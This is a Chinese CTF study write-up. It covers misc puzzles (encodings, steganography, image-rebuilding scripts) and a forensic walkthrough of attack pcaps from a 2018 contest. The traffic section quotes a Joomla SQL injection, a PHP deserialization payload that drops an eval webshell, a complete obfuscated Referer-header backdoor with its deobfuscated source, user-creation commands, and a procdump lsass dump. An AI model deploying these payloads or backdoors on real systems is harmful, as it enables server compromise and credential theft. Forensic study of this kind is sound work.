前置知识
常见编码
base32 a-z 数字
base62 a-zA-Z0-9
base64 a-zA-Z0-9+/
base91 a-zA-Z0-9标点!#$%&()*+,./:;<=>?@[]^_{|}~"`
base100 emoji🤔
HEX 0-9 A-F
二维码
二维码
定位符
纠错率
题目(杂项)
下载链接:https://pan.baidu.com/s/1FTjx7tKAQvFlxbKCPaI1Ng?pwd=1uux
ezPNG
确定没有改过高,然后放进stegsolve里
analsye –> data extract –> rgb全选到0,并选择lsb first –> preview –> save text –> 将Unicode编码复制后解码
img
575Z373A2W646A793853564W5A317X486633576X4726572632462V496360484478777157693Z5731563Z657X76482W3Y
VWXYZA –> ABCDEF 凯撒密码偏移
575E373F2B646F793853564B5F317C486633576C4726572632462A496360484478777157693E5731563E657C76482B3D
draw
发现是255 255 255的内容,判断为色点图
使用脚本解决
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from PIL import Image
height = 400
width = 400
reader = open("./timu.txt","r")
lines = reader.readlines()
reader.close()
img = Image.new("RGB",(400,400))
cnt = 0
for l in lines:
l = l.strip()
obj = l.split(" ")
r = int(obj[0])
g = int(obj[1])
b = int(obj[2])
tow = (r,g,b)
img.putpixel((cnt%400,cnt//400),tow)
cnt+=1
img.save("haha.png")
|
disco
查看波形,注意到 前0.0025秒有可疑的波形,向上我们按为0向下为1进行转换,将转换来的二进制串直接转换发现不行,那么以7为为一组,前面补0重新转换得到flag

这有点刺耳
频谱
hellokittykitty
波形
see
频谱
helloflag
使用下面的脚本推算图片原本的宽高:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import struct
import binascii
import zlib
m = open("./image1_preview.png","rb").read()
crc32key = int(m[29:33].hex(),16)
data = bytearray(m[12:29])
for w in range(4095):
width = struct.pack('>i',w)
for h in range(4095):
height = struct.pack('>i',h)
for x in range(4):
data[x + 4] = width[x]
data[x + 8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width,height)
|
修改后看到下方露出了字符串,当作凯撒密码判断。
stegano
用PDF查看器(浏览器可能不行)打开,Ctrl+A,粘贴到记事本里,看到末尾有AB组成的大段字符:
1
|
BABA BBB BA BBA ABA AB B AAB ABAA AB B AA BBB BA AAA BBAABB AABA ABAA AB BBA BBBAAA ABBBB BA AAAB ABBBB AAAAA ABBBB BAAA ABAA AAABB BB AAABB AAAAA AAAAA AAAAB BBA AAABB
|
尝试用莫斯码翻译即可
ZIPZIP
需要爆破,不看
FindTheTruth
可以看到该gif图其中的一帧有二维码,使用工具进行帧分离即可,如Photoshop、ffmpege、stegsolve等
blackwhite
可以看到是一堆黑白色块,将其按黑把转为二进制,使用下面的脚本(直接放在target文件夹下命令行执行即可)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
flag_bin1 = ""
flag_bin2 = ""
white = open('0.png','rb').read()
black = open('1.png','rb').read()
for i in range(336):
f = open(str(i)+".png",'rb')
if f.read() == white:
flag_bin1 += "0"
flag_bin2 += "1"
else:
flag_bin1 += "1"
flag_bin2 += "0"
flag1 = ""
flag2 = ""
for i in range(42):
flag1 += chr(int(flag_bin1[8*i:8*(i+1)],2))
flag2 += chr(int(flag_bin2[8*i:8*(i+1)],2))
print(flag1)
print(flag2)
|
流量分析:FlowAnalyze1
根据统计信息搜索telnet,追踪tcp流看到攻击者输入了用户名ctf和密码youcannevergetthis,接着下面返回了/etc/passwd中的内容。
四个flag都能在包里面找到,但是不知道后面两个flag是何意味。
流量分析:FlowAnalyze2
根据统计信息搜索http,看到攻击者使用联合查询进行了sql注入,在最下面的数据包中追踪http流看到返回的http源代码中有flag:
1
|
Your Login name:2<br>Your Password:flag{th1s_ls_tHe_sQI1_anSwer}
|
流量分析
流量包下载链接:https://pan.baidu.com/s/1GO4bZ7dErQcpkocfguXXzQ?pwd=ynm5
分析流量包请使用wireshark:WiresharkPortable64_latest.paf.exe
wireshark的使用
- 过滤器的使用:Wireshark过滤器写法总结 - willingtolove - 博客园
- Ctrl+F的使用:正常情况下选字符串、除非搜文件选十六进制值查文件头。
- 右键单个数据包使用追踪HTTP流可以查看更详细的数据流(如相关回包)
分析流程
-
统计-协议分级:确定重点分析的流量:
-
常规流量:http
-
重点关注流量(出现且占比较大):
-
https 找https解密密钥文件
-
dns 成段数据 base64加密
-
telnet 明文
-
icmp data
-
ftp 记录交互过程
-
ftp-data 记录传递的文件数据
-
802.1x WiFi协议 爆破WiFi密码
-
看看第一条的source是谁,谁就是黑客:
http && ip.addr == 黑客IP
-
找比较特殊的流量数据:
- 首先变化的流量
- 最后的流量
- 包含命令的流量
- 包含文件/数据的流量
目标(基础):
- 黑客ip是什么?
- 从sql注入中获得了什么?
- 最后进行了使用了什么攻击方式?
逐包分析
1.pcap
题目(进阶):
- 黑客攻击的第一个受害主机的网卡IP地址
- 黑客对URL的哪一个 参数 实施了SQL注入
- 第一个受害主机网站数据库的表前缀 (加上下划线例如abc_)
- 第一个受害主机网站数据库的名字
- Joomla后台管理员的密码 是多少
确认了黑客为:202.1.1.2
受害者1为:192.168.1.8
所以使用过滤:
1
|
ip.src==202.1.1.2 && ip.dst==192.168.1.8 && http.request
|
发现黑客进行了sql注入操作(url解码后的内容):
1
|
option=(SELECT 5598 FROM(SELECT COUNT(*),CONCAT(0x71626a6b71,(SELECT (ELT(5598=5598,1))),0x716a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
|
再往下看到黑客通过修改User-Agent的方法使用序列化尝试执行语句:
1
|
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1101:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(107).chr(107).chr(107).chr(97).chr(97).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(100).chr(110).chr(90).chr(50).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(90).chr(88).chr(90).chr(104).chr(98).chr(67).chr(103).chr(107).chr(88).chr(49).chr(66).chr(80).chr(85).chr(49).chr(82).chr(98).chr(101).chr(110).chr(112).chr(54).chr(88).chr(83).chr(107).chr(55).chr(80).chr(122).chr(52).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
|
本地尝试执行chr()函数得到了语句的内容(base64已解码):
1
|
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/kkkaaa.php',base64_decode('vvv<?php eval($_POST[zzz]);?>'));
|
所以最终目的是先定位目录,再向目录中的kkkaaa.php文件写入webshell:
vvv<?php eval($_POST[zzz]);?>,其中vvv是干扰内容
2.pcap
题目(进阶):
- 黑客第一次获得的php木马的 密码 是什么
- 黑客第二次上传php木马是什么时间
- 第二次上传的木马通过HTTP协议中的 哪个头 传递数据
继续对黑客ip进行跟踪过滤(基于刚才的webshell是POST形式):ip.src == 202.1.1.2 && ip.dst == 192.168.1.8 && http.request.method == POST
看到黑客向webshell传入了命令(解码后):
1
|
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
|
该命令并没有危害性,而是收集服务器系统信息,和目录查看
但是再往下看其他数据包,同样是向webshell传入了POST(解码后,共4个参数):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
&zzz=@eval(base64_decode($_POST[z0])); // 这是webshell本身的参数名
&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
&z1=/var/www/html/joomla/tmp/footer.php
&z2=<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
?>
|
这段 POST 内容的目的是: 利用已有的 PHP WebShell(kkkaaa.php,参数名为 zzz)远程执行代码,在服务器上写入一个高度混淆、通过 HTTP 头部通信并具备持久控制能力的 PHP 后门文件(/var/www/html/joomla/tmp/footer.php),以升级并隐蔽化攻击者的长期控制权限。
在末尾加上这两行:
1
2
|
var_dump($j);
var_dump($x);
|
解混淆:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
<?php
$kh="cb42";
$kf="e130";
function x($t,$k)
{
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>
|
分析z2(也就是footer.php的木马内容),接下来攻击者将通过向 footer.php 发送看似正常的 HTTP 请求,在 Referer 与 Accept-Language 头中隐藏加密指令,从而远程触发后门执行并获取加密回显。
追踪流,看看后面攻击者如何调用这个webshell,发现Accept-Language 都挺正常,说明马用Referer传递数据。

3.pcap
题目(进阶):
- 内网主机的mysql用户名 和请求连接的密码hash 是多少(用户:密码hash)
- php代理第一次被使用时最先连接了哪个IP地址
在查看协议分级时发现存在mysql协议,于是过滤mysql协议流量:
tcp contains "mysql" && mysql
发现攻击者对目标数据库进行大量的爆破,
在倒数几条流量发现了登陆成功的痕迹,以及数据库账号和密码的md5值:
1
|
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
|

重新过滤:
ip.addr == 202.1.1.2 and http.request.method == POST
发现下面攻击者已经开始利用192.168.1.8上面的/tmp/tunnel.php代理了,虽然不知道代理搭建的具体时间,但推测是用第二个马(footer.php)搭的。
此外,接下来攻击者还使用了一个位于/install/sh.php的webshell,推测也是用第二个马做的,时间未知,但是推测内容为<?php eval($_POST[123]);?>
4.pcap
题目(进阶):
- 黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
- 黑客在内网主机中添加的用户名和密码是多少
- 黑客从内网服务器中下载下来的文件名
过滤:(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.8) && http
发现使用/install/index.php进行ls的命令执行,但没有回显,猜测是否目标主机为windows而非linux
对于Windows获取目录下的文件列表用dir而非ls命令,修改过滤:
(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.8) && http contains "dir"(这里因为用ls追踪流失败了所以直接提供dir的过滤语句,感兴趣可以试试ls的,虽然反正也会失败)

得到相关回显,判断为windows主机
修改过滤:是否存在有关管理员Administrator的相关操作
1
|
(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.8) && http contains "Administrator"
|
在192.168.2.20发向192.168.1.8的POST流量中,发现存在star和kaka两个额外用户的创建

修改过滤:ip.src == 192.168.2.20 && http
在时间为UTC 10:49:49的包中调用了sh.php这个webshell,内容为:
1
2
3
4
5
6
7
8
9
|
123=@eval.(base64_decode($_POST[action]));
&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-+|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
&z1=cmd
&z2=cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]
|
分析POST内容(特别是z2)可知攻击者在系统创建了用户名:密码为kaka:kaka的新用户。
修改过滤:过滤POST流量
1
|
ip.dst == 192.168.2.20 && http.request.method==POST
|
挨个使用base64解码包中的参数值(累死我了😵),发现:
1
|
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]
|
可见攻击者使用了procdump.exe生成内存转储文件
在最后一个包中解码参数值发现:
1
|
C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp
|
可见这就是生成的文件(lsass.exe的内存转储文件含系统用户的明文密码等重要安全信息)。
参考文献 Reference
[1] Pur3. 2018.5.5铁三数据赛(第三赛区) 复现 [EB/OL]. (2020-02-16)[2026-01-29]. https://www.cnblogs.com/wrnan/p/12331564.html.